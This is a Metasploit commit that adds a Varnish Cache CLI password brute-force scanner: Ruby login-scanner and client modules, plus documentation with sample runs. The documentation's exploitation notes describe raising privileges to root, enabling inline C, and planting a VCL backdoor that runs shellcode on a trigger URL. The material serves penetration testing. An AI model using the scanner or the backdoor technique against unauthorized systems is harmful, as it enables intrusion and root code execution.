Land #7652, add varnish cache CLI authentication scanner module

bug/bundler_fix
Brent Cook 2017-04-02 21:52:45 -05:00
commit 98ffa4d380
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
4 changed files with 346 additions and 0 deletions

View File

@ -0,0 +1,134 @@
## Vulnerable Application
Ubuntu 14.04 can `apt-get install varnish`. At the time of writing that installed varnish-3.0.5 revision 1a89b1f.
Kali installed varnish-5.0.0 revision 99d036f
Varnish installed and ran the cli on localhost. First lets kill the service: `sudo service varnish stop`. Now, there are two configurations we want to test:
1. No Authentication: `varnishd -T 0.0.0.0:6082`. Varnish 4 and later require either passing '-S ""', or may not support unauthenticated mode at all.
2. Authentication (based on shared secret file): `varnishd -T 0.0.0.0:6082 -S file`.
1. I made an easy test one `echo "secret" > ~/secret`
## Exploitation Notes
These notes were taken from the original module in EDB, and can be used when developing a working remote exploit
```
- varnishd typically runs as root, forked as unpriv.
- 'param.show' lists configurable options.
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.
- code execution notes:
* quotes must be escaped \"
* \n is a newline
* C{ }C denotes raw C code.
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.
* example trigger for backdoor:
VCL server:
vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"
vcl.use foo
start
Attacker:
telnet target 80
GET /backd00r HTTP/1.1
Host: 127.0.0.1
(... wait for child to execute debug trap INT3 / shellcode).
CLI protocol notes from website:
The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.
Requests are whitespace separated tokens terminated by a newline (NL) character.
Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (
), (\"), (\%03o) and (\x%02x)
The response consists of a header which can be read as fixed format or ASCII text:
1-3 %03d Response code
4 ' ' Space
5-12 %8d Length of body
13 \n NL character.
Followed by the number of bytes announced by the header.
The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:
enum cli_status_e {
CLIS_SYNTAX = 100,
CLIS_UNKNOWN = 101,
CLIS_UNIMPL = 102,
CLIS_TOOFEW = 104,
CLIS_TOOMANY = 105,
CLIS_PARAM = 106,
CLIS_OK = 200,
CLIS_CANT = 300,
CLIS_COMMS = 400,
CLIS_CLOSE = 500
};
```
## Verification Steps
Example steps in this format:
1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/scanner/varnish/varnish_cli_login```
4. Do: ```run```
5. Find a valid login.
## Options
**PASS_FILE**
File which contains the password list to use.
## Scenarios
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f and NO AUTHENTICATION
```
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
resource (varnish.rc)> set pass_file /root/varnish.list
pass_file => /root/varnish.list
resource (varnish.rc)> set rhosts 192.168.2.85
rhosts => 192.168.2.85
resource (varnish.rc)> set verbose true
verbose => true
resource (varnish.rc)> run
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: No Authentication Required
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(varnish_cli_login) >
```
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f
```
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
resource (varnish.rc)> set pass_file /root/varnish.list
pass_file => /root/varnish.list
resource (varnish.rc)> set rhosts 192.168.2.85
rhosts => 192.168.2.85
resource (varnish.rc)> set verbose true
verbose => true
resource (varnish.rc)> run
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - Authentication Required
[!] 192.168.2.85:6082 - No active DB -- Credential data will not be saved!
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: bad
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: good
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: secret
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,55 @@
require 'metasploit/framework/tcp/client'
require 'metasploit/framework/varnish/client'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with Varnish CLI.
class VarnishCLI
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
include Metasploit::Framework::Varnish::Client
DEFAULT_PORT = 6082
LIKELY_PORTS = [ DEFAULT_PORT ]
LIKELY_SERVICE_NAMES = [ 'varnishcli' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
def attempt_login(credential)
begin
connect
success = login(credential.private)
close_session
disconnect
rescue RuntimeError => e
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
rescue Rex::ConnectionError, EOFError, Timeout::Error
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
end
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
result = Result.new(credential: credential, status: status)
result.host = host
result.port = port
result.protocol = 'tcp'
result.service_name = 'varnishcli'
result
end
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
self.max_send_size ||= 0
self.send_delay ||= 0
end
end
end
end
end

View File

@ -0,0 +1,57 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/exploit/tcp'
module Metasploit
module Framework
module Varnish
module Client
@@AUTH_REQUIRED_REGEX = /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required\./ # 107 auth
@@AUTH_SUCCESS_REGEX = /200 \d+/ # 200 ok
def require_auth?
# function returns false if no auth is required, else the challenge string
res = sock.get_once # varnish can give the challenge on connect, so check if we have it already
if res && res =~ @@AUTH_REQUIRED_REGEX
return $1
end
# Cause a login fail to get the challenge. Length is correct, but this has upper chars, subtle diff for debugging
sock.put("auth #{Rex::Text.rand_text_alphanumeric(64)}\n")
res = sock.get_once # grab challenge
if res && res =~ @@AUTH_REQUIRED_REGEX
return $1
end
return false
end
def login(pass)
# based on https://www.varnish-cache.org/trac/wiki/CLI
begin
challenge = require_auth?
if !!challenge
response = Digest::SHA256.hexdigest("#{challenge}\n#{pass.strip}\n#{challenge}\n")
sock.put("auth #{response}\n")
res = sock.get_once
if res && res =~ @@AUTH_SUCCESS_REGEX
return true
else
return false
end
else
raise RuntimeError, "No Auth Required"
end
rescue Timeout::Error
raise RuntimeError, "Varnish Login timeout"
end
end
def close_session
sock.put('quit')
end
end
end
end
end

View File

@ -0,0 +1,100 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/varnish'
require 'metasploit/framework/tcp/client'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Metasploit::Framework::Varnish::Client
def initialize
super(
'Name' => 'Varnish Cache CLI Login Utility',
'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
list of passwords.',
'References' =>
[
[ 'OSVDB', '67670' ],
[ 'CVE', '2009-2936' ],
[ 'EDB', '35581' ],
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ]
],
'Author' =>
[
'patrick', #original module
'h00die <mike@shorebreaksecurity.com>' #updates and standardizations
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(6082),
OptPath.new('PASS_FILE', [ true, 'File containing passwords, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
], self.class)
# We don't currently support an auth mechanism that uses usernames, so we'll ignore any
# usernames that are passed in.
@strip_usernames = true
end
def run_host(ip)
# first check if we even need auth
begin
connect
if !require_auth?
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
close_session
disconnect
return
else
vprint_status "#{ip}:#{rport} - Authentication Required"
end
close_session
disconnect
rescue Rex::ConnectionError, EOFError, Timeout::Error
print_error "#{ip}:#{rport} - Unable to connect"
end
cred_collection = Metasploit::Framework::CredentialCollection.new(
pass_file: datastore['PASS_FILE'],
username: '<BLANK>'
)
scanner = Metasploit::Framework::LoginScanner::VarnishCLI.new(
host: ip,
port: rport,
cred_details: cred_collection,
stop_on_success: true,
connection_timeout: 10,
framework: framework,
framework_module: self,
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential.private}"
else
invalidate_login(credential_data)
vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private}"
end
end
end
end